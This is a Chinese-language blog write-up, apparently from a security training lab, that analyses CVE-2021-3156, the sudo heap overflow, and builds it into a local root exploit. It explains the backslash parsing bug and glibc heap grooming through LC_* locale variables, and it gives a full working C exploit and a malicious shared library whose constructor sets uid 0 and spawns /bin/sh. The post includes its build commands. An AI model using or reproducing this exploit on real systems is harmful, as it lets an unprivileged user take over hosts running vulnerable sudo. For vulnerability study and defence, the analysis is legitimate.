头图

环境搭建

直接拉取合适的docker

docker 环境:

https://hub.docker.com/r/chenaotian/cve-2021-3156

下载glibc-2.27源码和sudo-1.8.21源码

漏洞分析

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
        if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆块,存放command
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 设置-s参数进入分支
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++; // 跳过反斜杠
            *to++ = *from++; // 复制反斜杠后面的字符
            } // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
            *to++ = ' '; //每个command后面跟一个空格
        }
        *--to = '\0';
        } else {
        for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
            }
            to += n;
            *to++ = ' ';
        }
        *--to = '\0';
        }
    }
    }

Untitled

Untitled

Untitled

结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:

①以反斜杠结尾可导致溢出

②以反斜杠作为参数可以写入零字节

同时,被溢出的那个堆块的大小等于对应参数长度+1。

漏洞调试

glibc源码

gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_library
gcc exp.c -o exp2 -lm

漏洞利用

1 利用目标

p ni

Untitled

可以发现service_user结构体在堆上

Untitled

堆块大小为0x40

nss_load_library的函数调用流程和相关的数据结构机制

/* Load library.  */
static int

' (service_user *ni)
{
  if (ni->library == NULL) // ni->library等于0进入分支
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name); // 新建一个ni->library,并将成员初始化
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision

      ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。

【----帮助网安学习,以下所有学习资料加vx:dctintin,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

2 堆块布局

接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。

这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中

// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
         int category, const char **name)
{
    ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:

        language[_territory[.codeset]][@modifier]

     Beside the first all of them are allowed to be missing.  If the
     full specified locale is not found, the less specific one are
     looked for.  The various part will be stripped off according to
     the following order:
        (1) codeset
        (2) normalized codeset
        (3) territory
        (4) modifier
   */
   //locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
   // C.UTF-8@AAAAAAAAA
  mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
               &codeset, &normalized_codeset);
               // 判断四个部分那部分有缺失
  if (mask == -1)
    /* Memory allocate problem.  */
    return NULL;

  /* If exactly this locale was already asked for we have an entry with
     the complete name.  */
  locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 0);

  if (locale_file == NULL)
    {
      /* Find status record for addressed locale file.  We have to search
     through all directories in the locale path.  */
      locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 1);
      if (locale_file == NULL)
    /* This means we are out of core.  */
    return NULL;
    }

结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申请原语和堆释放原语

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

        /* We must not simply free a global locale since we have
           no control over the usage.  So we mark it as
           un-deletable.  And yes, the 'if' is needed, the data
           might be in read-only memory.  */
        if (newdata[category]->usage_count != UNDELETABLE)
          newdata[category]->usage_count = UNDELETABLE;

        /* Make a copy of locale name.  */
        if (newnames[category] != _nl_C_name)
          {
        if (strcmp (newnames[category],
                _nl_global_locale.__names[category]) == 0)
          newnames[category] = _nl_global_locale.__names[category];
        else
          {
            newnames[category] = __strdup (newnames[category]);
            //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去
            if (newnames[category] == NULL)
              break;
          }
          }
      }

      /* Create new composite name.  */
      composite = (category >= 0
           ? NULL : new_composite_name (LC_ALL, newnames));
      if (composite != NULL)
    {
      /* Now we have loaded all the new data.  Put it in place.  */
      for (category = 0; category < __LC_LAST; ++category)
        if (category != LC_ALL)
          {
        setdata (category, newdata[category]);
        setname (category, newnames[category]);
          }
      setname (LC_ALL, composite);

      /* We successfully loaded a new locale.  Let the message catalog
         functions know about this.  */
      ++_nl_msg_cat_cntr;
    }
      else
    for (++category; category < __LC_LAST; ++category)
      if (category != LC_ALL && newnames[category] != _nl_C_name
          && newnames[category] != _nl_global_locale.__names[category])
        free ((char *) newnames[category]);
        //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉

先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。

locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:

1、语言符号及其分类(LC_CTYPE) 

2、数字(LC_NUMERIC) 

3、比较和习惯(LC_COLLATE) 

4、时间显示格式(LC_TIME) 

5、货币单位(LC_MONETARY) 

6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES) 

7、姓名书写方式(LC_NAME) 

8、地址书写方式(LC_ADDRESS) 

9、电话号码书写方式(LC_TELEPHONE) 

10、度量衡表达方式 (LC_MEASUREMENT) 

11、默认纸张尺寸大小(LC_PAPER) 

12、对locale自身包含信息的概述(LC_IDENTIFICATION)。

对应

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。

接下里就是想要如何将一个service_user申请到前面我的堆块前面

可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。

通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。

length = 0x38
while(length < 0x100):
    tail = 'C.UTF-8@'
    # length = 0x48
    q = "a"*(length-2)+"\\"
    p = tail+'a'*(length-1-len(tail))
    print(hex(length))
    print(q)
    print(p)
    length += 0x10

经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是为堆溢出的堆块留的坑

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }

在malloc前下断点·

b sudoers.c:849

查看bins,可以看到tcachebins中0xa0正好有一个堆块

Untitled

然后在nss_load_library下断点,查看service_user

b nss_load_library
p ni

Untitled

可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段

所以填坑的参数按照前面的分析应该是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

综合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}

3 溢出利用

Untitled

当前exp把XXX/test写到了0x555555623b07

Untitled

此时的service_user在0x5555556241b0,name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
    print('"\\\\"',end=',')   

前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。

共1753个反斜杠

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}

Untitled

覆盖结果如上

拼接完成后会执行

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

通过__libc_dlopen打开文件

Untitled

4 提权收工

最后编译后门test.so.2,并放入libnss_XXX文件夹

这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)中的代码

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
    printf("[+] executed!\n");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    if(getuid() == 0) {
        puts("[+] we are root!");
    } else {
        puts("[-] something went wrong!");
        exit(0);
    }

    execve(EXECVE_SHELL_PATH, n, n);
}
gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2

提权效果

Untitled

总结

这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。

总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。

更多网安技能的在线实操练习,请点击这里>>


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。